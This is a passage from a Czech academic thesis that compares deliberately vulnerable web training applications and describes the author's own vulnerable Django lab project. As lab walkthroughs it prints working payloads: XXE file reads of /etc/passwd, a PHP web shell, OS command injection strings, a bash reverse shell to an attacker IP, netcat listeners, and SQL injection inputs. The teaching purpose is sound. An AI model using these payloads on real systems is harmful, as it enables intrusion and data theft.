Jedním z formátů pro přenos dat mezi uživatelem a serverem je XML. Tento formát je využit například u AJAX požadavků. Server po přijetí takového požadavku použije parser, aby data získal ve formě, s kterou může lépe pracovat. V XML můžeme definovat entity a následně na ně vytvářet reference. Pokud není uživatelský vstup dostatečne kontrolován, respektive je použit zranitelný parser, může útočník získat přístup k citlivým informacím pomocí reference na existující entitu, popřípadě může ve svém vstupu definovat entitu vlastní a následně se na ní odkázat. Pomocí této metody může načíst lokální soubory, zažádat o zdroje přes protokol HTTP, provést skenování vnitřní sítě nebo dosáhnout DoS. Příklad pro načtení souboru `/etc/passwd`:

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```

Příklady zranitelností

Aplikace: bWAPP
Zranitelnost: XXE
URL: `/bWAPP/xxe-1.php`

Po kliknutí na tlačítko se pomocí javascritu odešle dotaz s XML obsahem.

```
<reset><login>bee</login><secret>Any bugs?</secret></reset>
```

Dotaz můžeme pomocí proxy upravit a využít výše uvedeného příkladu k načtení obsahu souboru.

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
```

1.3.5.3 Server-Side Request Forgery (SSRF)

V některých situacích je žádoucí načíst obsah z jiného serveru do vlastní aplikace. Příkladem je načítání obrázků, třeba uživatelského avatara. Problém nastává, pokud je dotaz proveden na základě nekontrolovaného vstupu od uživatele. Pokud uživatel změní požadavek serveru, mluvíme o Sever Side Request Forgery.

Se SSRF můžeme dělat dotazy do vnitřní sítě. Můžeme tak zjišťovat, zda v ní běží určité služby, a to nejčastěji pomocí hádání subdomény, nebo provést skenování pomocí zadávání privátních adres. Pokud je možné měnit protokol, pak lze docílit LFI.

Příklady zranitelností

Aplikace: bWAAP
Zranitelnost: SSRF
URL: `/bWAPP/ssrf.php`

Stránka nabízí několik scénářů pro možné SSRF. Pro pochopení a trénování není tento příklad nejvhodnější, jelikož se nejedná o typický scénář. Jedním z příkladů je využití LFI, kde stačí přistoupit na správnou URL. To vede ke spuštění skeneru portů a zobrazení výsledku.

```
bWAPP/rlfi.php?language=../evil/ssrf-1.txt&action=go&ip=127.0.0.1
```

1.3.5.4 File upload

Nahrávání fotek, sdílení souborů nebo přikládání dokumentů je běžná funkcionalita současných webových aplikací. Kontrola souboru je náročnější něž kontrola řetězce. Měli bychom provádět kontrolu [22]:

- Přípony souboru – Webový server interpretuje typ souboru na základě přípony. Například zdrojový kód v souboru txt při zobrazení ve webovém prohlížeči nepovede ke spuštění kódu.
- Velikosti souboru – Kontrola velikosti souboru brání DoS nebo alespoň snižuje náklady na úložiště.
- Obsahu souboru – Pod obsahem je možné si představit vícero pojmů. Některé věci lze kontrolovat jednodušeji, například přítomnost viru. Jiné

problémy, týkající se například právní odpovědnosti lze kontrolovat problematicky, ale mohou vést k diskreditaci osob zajišťujících provoz serveru.

Kromě samotného nahrání souboru záleží na dalších operacích s ním. Pokud se soubor pouze uloží na server, riziko je minimální. Problém nastává, pokud může uživatel k souboru v aplikaci přistoupit přímo, nebo pokud útočník využije LFI. Tím se se souborem dále pracuje může dojít k jeho spuštění. Nahraný soubor lze alespoň využít k šíření virů.

Příklady zranitelností

Aplikace: DVWA
Zranitelnost: File upload
URL: `/dvwa/vulnerabilities/upload/`

Uživatel má na této stránce možnost nahrát fotku. Na nejnižší obtížnost není název ani obsah souboru nijak kontrolován. Můžeme proto nahrát jednoduchý kód v PHP:

```
<?php
  $cmd = $_GET["cmd"];
  $output = shell_exec($cmd);
  echo "<pre>$output</pre>";
?>
```

Po nahrání se uživateli zobrazí hláška, zda a kam byl soubor uložen. Pokud potom přistoupí na odpovídající URL a přidá parametr `cmd`, provede se příkaz v hodnotě tohoto parametru. V případě střední obtížnosti je přidána kontrola na typ souboru pomocí `$_FILES['uploaded']['type']`. Podle dokumentace je však tato kontrola provedena na základě hodnoty předané prohlížečem. Pokud použijeme Burp proxy a změníme hlavičku `Content-Type` na hodnotu `image/jpeg`, původní obsah stále nahrajeme. Na nejvyšší obtížnost je kontrolována přípona souboru. Soubor typu `.jpeg` není interpretován jako PHP. Uživatel nemá přístup k souboru `.htaccess`, kde by toto chování mohl změnit.

1.3.5.5 OS command injection

Webové aplikace často potřebují pracovat s operačním systémem, vytvářet a číst soubory atd. Způsobů jak toho dosáhnout je více, ale nejméně vhodným způsobem je volání příkazů operačního systému přímo. V programovacím jazyce PHP je takovou nevhodnou metodou volání `system()` nebo `exec()`, zvláště pak pokud jsou parametry funkcí určeny neošetřeným uživatelským vstupem. Pokud se útočníkovi podaří spustit jím definovaný kód, poběží pod právy webového serveru. Například na operačním systému linux se jedná o uživatele `www-data` nebo `apache`. Pokud je server nastaven nevhodně, může

útočník získat i práva uživatele `root`. Jako obrana slouží kontrolování vstupu, nevolání příkazů přímo a omezení práv webového serveru na nutné minimum.

Útočník se snaží na konec zranitelného parametru vložit oddělovač příkazů a za něj svůj příkaz. Mezi oddělovače příkazů patří:

- `;` – běžný oddělovač příkazů
- `&` – druhý příkaz proběhne nezávisle na prvním
- `&&` – druhý příkaz proběhne pokud první skončil úspěšně
- `||` – druhý příkaz proběhne pokud první skončil neúspěšně

Pokud uživateli není zobrazen výstup příkazu, mluvíme o tzv. „Blind OS command injection“. Útočník si v takovém případě může otevřít spojení zpět ke svému počítači, například pomocí nástroje `nc`. Pro ověřen může stačit DNS dotaz na útočníkovu doménu, jelikož DNS provoz je většinou povolen.

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: OS command injection
URL: `/WebGoat/attack?Screen=163&menu=1100`

Stránka umožňuje uživateli zobrazit určitý soubor z připraveného seznamu. Ve výstupu se ovšem ukazuje část použitého příkazu:

```
ExecResults for '/bin/sh'
```

Parametrem v dotazu je `AccessControlMatrix.help`. Nyní je potřeba provést několik kroků. Zaprvé musíme uzavřít uvozovky, tak abych mohli zadat nový příkaz. Dále potřebuje vložit příkaz odděleně od předchozího. To provedeme pomocí znaku `&`, který je potřeba zakódovat, protože se používá jako oddělovač parametrů. Vstupem pak bude například: `"+%26+ifconfig`. Výstup příkazu ale není vidět, jelikož není správně ukončen a návratouvou hodnotou je chyba. Správný parameter může vypadat například takto: `"+%26+ifconfig"`

Aplikace: WackoPicko
Zranitelnost: Blind OS command injection
URL: `/WackoPicko/passcheck.php`

Aplikace umožňuje zkontrolovat, zda se zadaný řetězec nachází v seznamu často používaných hesel. Seznam se nachází v souboru na lokálním disku a hledání je provedeno příkazem:

```
grep ^<password>$ /etc/dictionaries-common/words
```

Vstup, který povede ke spuštění uživatelem definovaného kódu, je například `$ & sleep 10 #`. Odpověď serveru je zpožděna o 10 sekund. Výstup zadaného příkazu ale není na stránce zobrazen.

Situaci se pokusíme vyřešit pomocí programu `nc`. V Kali otevřeme terminál a zadáme `nc -lvp 4444`. Původní příkaz vložený do parametru nahradíme příkazem `nc <Kali_IP> 4444 -e /bin/bash`. V BWA ovšem nefunguje přepínač `-e` a proto se spojení nevytvoří. Pokud použijeme příkaz `bash -i >& /dev/tcp/<Kali_IP>/4444 0>&1` pod uživatelem root, tak se spojení otevře. Uživatel `www-data` ale využívá `sh` místo `bash`, kde je jiné přesměrování výstupů a komunikace přes `/dev/tcp` není dostupná. Výsledný funkční vstup do parametru `password` je například:

```
$ & bash -c "bash -i >& /dev/tcp/<Kali_IP>/4444 0>&1" #
```

Aplikace: bWAPP
Zranitelnost: OS command injection
URL: `/bWAPP/commandi.php`

Stránka po zadání domény provede DNS dotaz. Příklad útočníkova vstupu:

```
www.google.com %26%26 cat /etc/passwd
```

Na střední obtížnost je kód kontrolován a zřejmě odlišně spouštěn. Příkladem funkčního vstupu může být:

```
"" || cat /etc/passwd
```

1.3.5.6 Server Side Includes (SSI)

Dynamický obsah lze vytvářet pomocí několika technologií. Jednoduchým a zastaralým způsobem jsou direktivity s názvem SSI. Jsou zpracovány webovým serverem před odesláním požadavku a jsou alternativou pro CGI při generování jednoduchého dynamického obsahu. Formát příkazu je:

```
<!--#'<tag><variable set> '-->
```

Problém jako obvykle vzniká, pokud není vstup od uživatele správně validován a je použit v některé z direktiv. Útočník může docílit načtení souboru, výstupu skriptu nebo spuštění příkazu v operačním systému. Zobrazení obsahu adresáře se provede takto:

```
<!--#exec cmd="ls -la" -->
```

Příklady zranitelností

Aplikace: bWAPP
Zranitelnost: SSI
URL: `/bWAPP/ssii.php`

Tento příklad nefungoval správně. Direktivy SSI nebyly zpracovány a byly v odpovědi obsaženy v nepozměněné podobě. Při zadání bezpečného vstupu obsahovala odpověď místo IP adresy tuto direktivu:

```
<!--#echo var="REMOTE_ADDR" -->
```

Pokud by příklad fungoval správně, pak by stačilo vložit:

```
<!--#exec cmd="cat /etc/passwd" -->
```

1.3.5.7 SQL injection

Webové aplikace používají pro ukládání dat SQL databáze. Data následně získavají pomocí interpretovaných příkazů, jejichž parametry mohou být vstupem od uživatele. Pokud je dotaz tvořen nesprávně a hodnota od uživatele není kontrolována, může útočník změnit provedený příkaz. Nejčastěji je problém demonstrován u přihlášení do aplikace. Za příhlášením se může nacházet podobný příkaz:

```
SELECT * FROM users WHERE username = '<u>' AND password = '<p>'
```

Pokud uživatel předá do parametru `u` hodnotu `' OR 1=1--` nebo obdobnou, dojde za předpokladu nekontrolování vstupu k přihlášení uživatele do aplikace pod prvním uživatelem, který je ve výsledku dotazu. Důvodem je to, že kvůli výrazu `OR 1=1` se z výroku stane tautologie a je tak vždy pravdivý. Zbytek původního dotazu je ignorován, protože je vložen do komentáře pomocí znaků `--`. Variace na tento základní příklad nalezneme ve většině testovaných aplikací. Některé výskyty jsou uvedeny v příkladech zraniteností níže.

Postup při využití této zranitelnosti se může lišit v závislosti na použité databázi. Pomocí rozdílných chybových hlášek či rozlišného chování lze zjistit, jakou databázi aplikace využívá. Jednou z odlišností je spojování řetězců [10, kap. OTG-INPVAL-005]:

- MySql – `'test' + 'ing'`
- SQL Server – `'test' 'ing'`
- Oracle – `'test'||'ing'`
- PostgreSQL – `'test'||'ing'`

Pokud je hodnota číselná, pak lze využít tyto vstupy, které se vyhodnotí na 0 [12, str. 303]:

- Oracle – `BITAND(1,1)-BITAND(1,1)`
- MS-SQL – `@@PACK_RECEIVED-@@PACK_RECEIVED`
- MySQL – `CONNECTION_ID()-CONNECTION_ID()`

Databáze standartně používají čtyři základní operace:

- `SELECT` – získání dat z databáze
- `INSERT` – vložení dat do databáze
- `UPDATE` – aktualizace dat v databázi
- `DELETE` – smazání dat z databáze

Dále je také možné příkazy řetězit pomocí znaku `;`. Tato funkce ale není vždy dostupná, například u často používaná kombinace PHP a MySQL. Pomocí databáze je také možné načítat a zapisovat do souboru.

S vědomím, že tyto funkcionality mohou být zneužity vznikla databáze SOQL. Ta umožňuje pouze dotaz typu `SELECT` a naopak neumožňuje řetězení příkazů, ale také `JOIN` a `UNION`, které jsou také často využívané při útocích.

`UNION` se využívá, aby se výsledky druhého dotazu připojili za výsledky dotazu prvího. K tomu je potřeba, aby byl počet sloupců v obou výsledcích stejný. Správný počet sloupců lze zjistit při použití klausule `ORDER BY`, za kterou připojíme číslo sloupce. Pokud dotaz proběhně v pořádku, je počet sloupců větší nebo roven předanému číslu. Také je důležité aby jednotlivé sloupce měli stejné datové typy, nebo aby bylo možné data převést.

Při použití `UNION` lze získat informace z tzv. `information_schema`, které obsahuje názvy tabulek, sloupců atd. v databázích MySQL, MS SQL a PostgreSQL. Se znalostí tabulek a jejich struktury je možné získat hledaná data opět pomocí `UNION`.

Výstup upraveného příkazu nemusí být uživateli zobrazen. Způsobem jak se k těmto datům dostat je otevřít síťové spojení na server útočníka a data odeslat. Na zařízení s Oracle databází lze spojení vytvořit pomocí příkazu `UTL_HTTP.request`.

Ochran proti tomuto útoku existuje několik. Hlavní příčinou vzniku zranitelnosti je spojení interpetovaného příkazu a uživatelského vstupu. Jejich oddělení lze zařídit pomocí tzv. Prepared statements. Dotaz do databáze se připraví předem s parametry, za které se při zavolání dosadí uživatelský vstup. Struktura dotazu se již nemění a dotaz je proveden bezpečně. Způsob volání se liší dle použité platformy.

Na některých místech v dotazu nelze použít parametr, například v názvu tabulky. Zde přichází na řadu správná validace vstupu pomocí metody zvané

whitelisting. Poslední metodou je užití kódování speciálních znaků, které je doporučováno nejméně. To je totiž závislé na použité databázi. Vhodným doplněním je využití principu minimálního oprávnění.

Ještě zbývá doplnit, že pro automatické testování lze využít velké množství nástrojů v čele s sqlmap [23].

Příklady zranitelností

Aplikace: WackoPicko
Zranitelnost: SQL injection
URL: `/WackoPicko/users/login.php`

Přihlašovací stránka obsahuje parametr `username`, který je zranitelný vůči SQL injection. Při zadání správného vstup je možné se přihlásit bez znalosti uživatelského jména a hesla. Správným vstupem je `' OR '1'='1' #`.

Aplikace: OWASP Vicnum
Zranitelnost: SQL injection
URL: `/vicnum/union1.php`

Stránka umožňuje výpis výsledků z přechozích dvou her. Oba dva výpisy jsou zranitelné vůči SQL injection. Hra se jmenuje UNION Challange a úkol je splněn pokud vložíme:

```
' UNION SELECT 1,2,3, TABLE_NAME FROM information_schema.tables#
```

1.3.5.8 Logické chyby

Logické chyby se v aplikacích hledají složitěji. Nespojuje je totiž žádný příznak, neexistuje obecná poučka jak je nalézt a automatické testovací nástroje je také nenaleznou. V menších aplikacích nebo jednodušších funkcionalitách je pravděpodobnost výskytu logické chyby nižší. V komplexních aplikacích, na kterých pracuje velké množství programátorů je pravděpodobnost výskytu této chyby větší.

Mezi logické chyby, se kterými jsme se v praxi setkali, patřila možnost zakoupit elektronickou knihu v obchodě bez zaplacení. Dělo se tak kvůli tomu, že vývojář předpokládal, že uživatel při platbě pomocí SMS musí provést kroky nákupu přesně v určeném pořadí. Při přeskočení kroku s odesláním SMS a přistoupení na stránku se stáhnutím knihy se správným parametrem byla kniha stažena bez platby.

Možné je vytvořit logickou chybu i v bezpečnostní funkcionalitě. Důkazem toho byla aplikace, která ověřovala změnu osobních údaju pomocí dvoufaktorové autentizace a odeslání SMS. Mezi osobními údaji bylo i telefonní číslo a při jeho změně byl ověřovací kód odeslán pouze na nově zadané číslo. Útočník

tak získal kontrolu nad druhým faktorem, který se používal i pro doručení dočasného hesla pro obnovení účtu. Pokud by u formuláře, který mění telefonní číslo chyběla ochrana proti CSRF, bylo by možné získat kompletní kontrolu nad účtem.

Příklady zranitelností

Aplikace: WackoPicko
Zranitelnost: Neomezené použití slevy
URL: `/WackoPicko/cart/review.php`

Na stránce `/WackoPicko/calendar.php?date=1545998221` lze nalézt jako aktualitu slevový kupón `SUPERYOU21` na slevu ve výši 10 procent. Tu lze pak opakovaně použít na stránce se shrnutím objednávky.

Aplikace: HackMe Casino
Zranitelnost: Nesprávné odebrání kreditu
URL: `/blackjack/show`

V hazardních hrách jsou peníze hráčům odebrány hned po vytvoření sázky. Tato aplikace ale vložené prostředky hráčům nebere okamžitě, ale vyúčtování provede až na konci hry. Pokud tak hráč nedostane správné karty, může ze hry odejít a začít novou bez ztráty peněz.

Aplikace: HackMe Casino
Zranitelnost: Opakované přičtení výhry
URL: `/blackjack/hit_or_stay`

Uživatel má během hry dvě možnosti. Buď si vezme další kartu, nebo hru ukončí. V tom případě se odešle požadavek s parametrem `act=S` a aplikace spočítá vítěze a přidělí případnou výhru. Pokud pomocí proxy odešleme tento požadavek znovu, aplikace opětovně přidělí výhru. Takto je možné neomezeně vyhrávat.

1.3.5.9 Denial of Service (DoS)

Útoků na odmítnutí služby je několik druhů. Známější jsou spíše útoky pomocí ICMP nebo založené na chování TCP protokolu. bWAPP nabízí i HTTP DoS, který ale funguje pouze při využití virtuálního stroje bee-box a závisí na nastavení webového serveru. V této části se budeme zabývat problémy samotných webových aplikací.

Zranitelnosti můžeme rozdělit do dvou skupin. První skupina znemožňuje přístup k funkcionalitě jednomu uživateli. Z bezpečnostních důvodů aplikace blokují účet po několika neúspěšných pokusech o přihlášení. Problém vyvstává

pokud útočník zná uživatelovo přihlašovací jméno a aplikace špatně implementuje blokaci účtu, například když musí odblokování provést administrátor nebo uživatel fyzicky na pobočce společnosti.

Druhou skupinou je útok na více uživatelů najednou nebo na celý server. Můžeme docílit vyčerpání prostředků serveru. V praxi jsme se setkali s případem, kdy uživatelé mohli stahovat alba ze serveru, ale před stáhnutím se vytvořil jejich archiv ve formátu RAR. Ten se začal vytvářet při každém požadavku na stahování a výsledný archiv se nepoužíval opakovaně. Jeden uživatel mohl stahovat neomezeně alb a tak mohl zvýšit využití procesoru, operační paměti i disku.

Pokud jsou v aplikaci nalezeny další zranitelnosti, je možné pomocí nich dosáhnout DoS. Jednou z možností je načítní souborů pomocí XXE.

```
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \ file:///dev/random"> ]>
```

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: DoS
URL: `/WebGoat/attack?Screen=63&menu=1200`

Aplikace umožňuje spojení s databází pouze dvoum uživatelům. Možná to zní nerealisticky, ale v praxi jsme se setkali se stejným principem, ale maximální počet spojení byl 20.

Útočník potřebuje znát přihlašovací údaje uživatelů. Ty lze získat pomocí útoku hrubou silou, ale v tomto případě se na přihlašovací stránce nachází zranitelnost SQL injection, pomocí které lze získat údaje pěti uživatelů. Pro splnění úkolu stačí provést zároveň 3 přihlášení.

1.4 Srovnání testovaných aplikací

V této kapitole je v tabulkách 1.1 a 1.2 uvedeno porovnání obsažených zranitelností. Vzhledem k rozsahu a obsahu aplikace bWAPP zde nejsou zobrazeny všechny její zranitelnosti. Nejsou zahrnuty například zranitelnosti Heartbleed a další zaměřující se na webový server. Zranitelnosti jsou rozděleny stejně jako v kapitole 1.3. Dále je diskutována použitelnost jednotlivých aplikací.

Nejvíce zranitelností obsahuje aplikace bWAPP. U cvičení zaměřených na zranitelnosti webového serveru je deklarováno, že fungují pouze u připraveného virtuálního stroje s názvem bee-box. Některá cvičení působí nepřirozeně a není jasný jejich cíl. Zranitelnost XSS má 15 cvičení a SQL injection 9. Počet unikátních, funkčních a přirozeně vypadajících zranitelností a útoků je tak značně nižší.

OWASP WebGoat je co do počtu zranitelností v tomto srovnání druhý. Jejich implementace a funkčnost je ale lepší než v případě bWAPP. Většina

cvičení není tvořena pouze jednou obrazovkou s jedním textovým polem, ale jsou zde implementované funkcionality, díky kterým aplikace vypadá realističtěji. Cíle cvičení jsou jasné a díky přítomnosti nápovědy lze i v případě problému dosáhnout řešení. Její nevýhodou je neexistence více obtížností simulující částečně fukční pokus programátora o opravu.

Aplikace DVWA obsahuje z první kategorie vybraných aplikací zranitelností nejméně. Stejně jako aplikace bWAPP obsahuje více úrovní obtížnosti a na nejvyšší obtížnost by cvičení měla být neprolomitelná.

Mezi realistickými aplikacemi má nejvíce zranitelností WackoPicko. Implementované zranitelnosti jsou funkční a některé jsou i méně časté. Obsahuje také XSS s pomocí Flash a logickou chybu. Aplikaci by pomohla realističtější a uvěřitelnější funkcionalita.

Vicnum narozdíl od WackoPicko neobsahuje návod, ale její zranitelnosti jsou zřejmé. Například XSS a SQL injection se objevují na typických místech a není težké je najít. Zbylé zranitelnosti jsou založeny na využívání hodnot kontrolovaných uživatelem. Některé z nich není triviální odhalit dynamickým testem a odhalí je kontrola zdrojového kódu. Vicnum je tak specifickou aplikací s odlišným přístupem.

Obě testované aplikace z projektu Foundstone působí velmi realisticky. Jejich zasazení do finančního prostředí uživatelům pomáhá se lépe představit dopady zranitelností. Nižší počet zranitelností kompenzují kvalitou a odlišností problémů.

Žádná z testovaných aplikací sama o sobě dostatečně nepřipravý studenta

	OWASP WebGoat	DVWA	bWAPP	OWASP Vicnum	WackoPicko	HackMe Bank	HackMe Casino
Slabé heslo	●	●	●		●		
Chybějící ochrana proti útoku hrubou silou		●	●	●		●	
Enumerace uživatelského jména	●						
Špatná manipulace s heslem	●						
Chyba v kontrole přihlašovacích údajů	●						
Předvídatelný token	●				●		
Špatně nastavená cookie	●		●	●			
Prozrazení tokenu			●				
Ukončování a obnovování relace	●		●				●

Tabulka 1.1: Zranitelnosti aplikací: Autentizace a Správa relací

	OWASP WebGoat	DVWA	bWAPP	OWASP Vicnum	WackoPicko	HackMe Bank	HackMe Casino
Administrátorské prostředí	●		●	●	●	●	
Forced browsing	●		●		●		
Directory traversal	●	●	●		●		
Eskalace privilegií	●		●			●	
Insecure Direct Object Reference	●		●	●	●		
XSS	●	●	●	●	●	●	
CORS			●				
CSRF	●	●	●				●
Unvalidated redirects			●				
HTTP Response splitting	●		●				
Host header injection			●				
Local storage			●				
File inclusion			●		●		
XXE			●				
SSRF			●				
File upload		●	●				
OS Command injection	●	●	●		●		
SSI			●				
SQL Injection	●	●	●	●	●	●	●
Logické chyby					●		●
DoS	●		●				

Tabulka 1.2: Zranitelnosti aplikací: Autorizace, útoky na uživatele a server

na všechny typy problémů reálných aplikací. Je proto nezbytné kombinovat více aplikací. Vhodnou volbou je použití OWASP WebGoat, kde uživatel díky obsaženým popisům zranitelností, nápovědám a řešením pochopí obsažené problémy. K natrénování samotného netriviálního hledání problémů v realistických aplikacích je vhodné využít aplikace HackMe.

1.5 Chybějící zranitelnosti

Všechny důležité zranitelnosti webových aplikací jsou v některé z testovaných aplikací dostupné. Například XXE, CORS a SSRF nejsou obsaženy v jiné aplikaci než bWAPP. Zároveň většina aplikací obsahuje pouze základní variace útoku. Dvě ze známějších zranitelností ale zcela chybí.

1.5.1 Same Origin Method Execution (SOME)

Jedním z klíčových principů bezpečnosti webových aplikací je SOP. Ten ale nijak nezabraňuje spuštění skriptů v jiných oknech webového prohlížeče, pokud patří do stejné aplikace. Jakým způsobem ale spustit akci v jiném okně? Potřebujeme vytvořit referenci na okno, ze kterého bylo to nové vytvořeno. K tomu se využívá tzv. callback, který z otevřeného okno zavolá funkci v okně původním. Daná akce je například určená pomocí parametru v URL, ten se často jmenuje `callback` nebo `cmd`. Pokud není dostatečně kontrolován, stává se celá doména zranitelná [24].

Obsah tohoto parametru může být validován na přítomnost znaků povolující XSS, přesto může být stránka zranitelná. Důležitá je schopnost uživatele zadat do parametru alfanumerické znaky a tečku, pak lze na stránce spustit jinou akci, například `form.submit`. Autor tohoto útoku docílil takovouto akcí zveřejnění privátních fotek uživatele. Pro využití zranitelnosti tak aplikace musí obsahovat nějakou využitelnou akci.

Postup útoku pak vypadá následovně:

- Oběť otevře odkaz, který ji odeslal útočník.
- Stránka, na kterou vedl odkaz je kontrolována útočníkem a otevře nové okno.
- Původní stránku přesměruje na tu, která obsahuje akci, kterou chceme spustit.
- Útočníkova aplikace přesměruje nové okno na stránku se zranitelným parametrem `callback`.
- Webový prohlížeč spustí žádanou akci.

SOME lze zařadit mezi útoky na uživatele. Lze se proti němu bránit tak, že uživateli nedovolíme měnit hodnotu parametru callback, respektive využijeme

tzv. statický callback. Pokud potřebujeme hodnotu zadávat dynamicky, provedeme kontrolu vstupu a povolíme pouze hodnoty z připraveného seznamu.

1.5.2 Formula injection

Tabulkové procesory, například Excel, umožňují uživatelům provádět operace s daty. Tyto operace lze provádět programově pomocí formulí či maker. Pokud chceme, aby se v buňce `A3` objevil součet dvou polí `A1` a `A2`, pak do ní umístíme formuli `=A1+A2`. Formule ale umí více funkcí a jednou z nich je i spouštění dalších programů pomocí `=cmd`. Zranitelnost vzniká v případě, kdy webová aplikace umožňuje uživatelům vytvářet soubory, které se otevírají v tabulkových procesorech a do nichž může uživatel takovouto formuli vložit. Nejčastěji jsou cíleny na uživatele, kteří tyto soubory stáhnou a spustí.

Bránit se lze kontrolováním uživatelského vstupu na přítomnost speciálních znaků, hlavně `=+-@`. V případě, že v programu otevírajícím tento soubor není žádná zranitelnost, uživatel musí provedení těchto akcí povolit. Uživatelé však tato varování často ignorují a to hlavně v případě, že stažený soubor normálně obsahuje legitimní funkce, které pro svoji práci potřebují. Pokud útočník přidá do takového souboru vlastní kód, oběť nemůže tuto změnu poznat. [25]

Kapitola 2

Implementace zranitelné aplikace

Cílem práce bylo vytvořit vlastní aplikaci na základě přechozí analýzy. Vytvoření aplikace podobné těm testovaným by nemělo žádný přínos. Proto jsme vytvořili realistické aplikace, které implementují zranitelnosti nové, a odlišným způsobem ty nalezené. Následující část pojednává o použitých technologiích, vlastnostech a odlišnostech vlastního řešení. Dále uvádí funkcionality námi vytvořených aplikací. V kapitole 3 jsou k nalezení informace jak aplikace nainstalovat, použít a také jaké nástroje jsou k provedení cvičení vhodné. V návodu jsou uvedené i jednotlivé zranitelnosti.

Vlastní aplikaci jsme se rozhodli implementovat v programovacím jazyce Python a frameworku Django. Důvodů k tomuto výběrů je několik. Zaprvé žádná z testovaných aplikací nebyla pomocí této technologie vytvořena a Django přitom patří mezi populární frameworky. Setkali jsme se také s názory, že aplikace implementované pomocí Djanga není potřeba testovat z hlediska bezpečnosti, jelikož vývojáři pomáhá řešit problémy jako XSS, SQL injection a CSRF. To se nám podařilo v praxi několikrát vyvrátit, stejně jako v našem projektu. Jako databáze je použita SQLite.

Vlastní řešení je tvořeno jedním projektem s názvem Totally Secure s celkem čtyřmi zranitelnými aplikacemi: Bank, Fitness, Fitness 2 a Cinema. Dále je součástí projektu i jedna aplikace na správu účtů studentů a vyučujících. Všechny zranitelné aplikace se snaží být realistické a přirozeným způsobem zakomponovat zranitelnosti. Stejně jako analyzované realistické aplikace ani tyto neumožňují volbu obtížnosti a neuvádějí uživateli stav řešení.

Na rozdíl od porovnávaných aplikací se tento projekt zaměřuje na výuku s možností spolupráce s vyučujícím. Vyučující každému studentovi vytvoří účet a k němu se automaticky vytvoří účty a další potřebná data pro práci s jednotlivými aplikacemi. Student se může přihlásit do svého účtu a vidí přihlašovací údaje a nápovědy k jednotlivým aplikacím. Důležité informace jsou také umístěny na přihlašovacích stránkách aplikací. Uživatelské účty jsou

	Bank	Fitness	Fitness 2	Cinema
Slabé heslo		●		
Chybějící ochrana proti útoku hrubou silou	●	●		
Špatná manipulace s heslem	●			
Eskalace privilegií	●			
Špatně nastavená cookie		●		
XSS		●		
CSRF			●	
Host header injection			●	
SQL injection	●			
Formula injection		●	●	
SOME				●

Tabulka 2.1: Zranitelnosti Totally Secure aplikací

odděleny tak, aby se snížila možnost, že studenti od sebe budou opisovat. Uživatel může aplikaci samozřejmě využívat i sám.

Mezi implementované zranitelnosti jsme zařadili i v analyzovaných aplikacích chybějící SOME a Formula injecion. Zbylé zranitelnosti jsou vytvořeny na základě znalostí z praxe, kdy většina z nich je inspirována skutečnými nálezy. Některé kategorie zranitelností jsou zde zastoupeny vícekrát. To je způsobeno faktem, že jejich přítomnost v aplikacích je často bagatelizována. V tabulce 2.1 je vidět rozložení zranitelností mezi aplikacemi.

Aplikace, stejně jako již existující řešení, nevyužívá pro spojení HTTPS, ale HTTP. Implementace HTTPS by na vytvořené zranitelnosti neměla žádný vliv, naopak by ztížila nastavení Burp Suite. Dále je aplikace v tzv. debugovacím módu. Pro toto nastavení jsme se rozhodli z několika důvodů. Jednodušeji se stahují soubory ze serveru a není potřeba využívat jiný webový server pro předávání statických souborů. Tím se také zjednodušuje instalace a nastavení aplikace. Dále se zjednodušuje implementace zranitelností v aplikaci Fitness 2, kde se přebírá a nesprávně kontroluje hlavička `Host` a je přetvořeno odesílání emailu. Nevýhodou je, že studenti se mohou v případě neošetřené chyby dozvědět informace o aplikaci, například část kódu, kde došlo k chybě. Citlivé informace Django ve výpisu vynechává. Program je vytvořen pro operační systém Linux.

Celý projekt je vytvořen v anglickém jazyce, jelikož laboratoře jsou dostupné i anglickým studentům. Výuka předmětů probíhá v českém i anglickém jazyce a některé předměty jsou vyučovány výhradně v anglickém jazyce.

2.1 Crossroads

Tato aplikace slouží jako rozcestník. Z ní se může uživatel přihlásit do svého profilu, nebo si přečíst informace o jednotlivých zranitelných aplikacích a některou z nich si vybrat. Vyučující ve svém profilu vidí seznam studentů a vyučujících a může vytvořit nového uživatele. Pro jeho vytvoření je potřeba zadat unikátní přihlašovací jméno. Skript vytvoří uživatele a všechna potřebná data do zranitelných aplikací. Na konci procesu je zobrazeno uživatelovo heslo do aplikace Crossroads. To lze změnit pouze v administrátorské konzoli nebo přes příkazovou řádku. Vyučující dále vidí to samé co student.

Student má k dispozici seznam svých profilů a jejich hesel či instrukcí k získání přístupu k tomuto účtu. Dále je zde zobrazen poslední email, který byl vygenerovaný v aplikaci Fitness 2 při obnově hesla. Tato funkcionalita slouží k ověření funkčnosti útoku.

2.2 Bank

Aplikace umožňuje uživateli přihlásit se pomocí hesla a jednorázového kódu. Vzhledem k povaze aplikace není jednorázový kód skutečně odesílán, je pouze vygenerován a uložen pro každého uživatele po zadání správného hesla do relace. Pro případ zapomenutí hesla je zde možnost jeho obnovy. Po zodpovězení na bezpečnostní otázky je uživateli zobrazeno stávající heslo. Tato funcionalita je simulována, jelikož Django ukládá pouze solené hashe hesel a sůl. Po přihlášení může uživatel zadávat platby, sledovat stav svého konta a zobrazovat příchozí a odchozí platby. Výpis plateb je dostupný pouze pro prémiové uživatele. Některé transakce jsou skryté i prémiovým zákazníkům. Cílem studenta je zobrazit skrytou platbu ve výpisu transakcí.

2.3 Fitness

Na domovské stránce je možnost přihlášení pomocí uživatelského jména a hesla. Aplikace má dva druhy uživatelů. Zákazník může stahovat rozpis hodin ve formátu `.xlsx` a vytvářet dotazy. Trenér může vytvářet rozpis hodin a odpovídat na dotazy uživatelů. Soubor `.xlsx` je vytvořen pomocí knihovny openpyxl. [26] Cíl studenta je infikovat soubor s rozvrhem tak, aby se na uživatelkém počítači po jeho otevření spustila kalkulačka.

2.4 Fitness 2

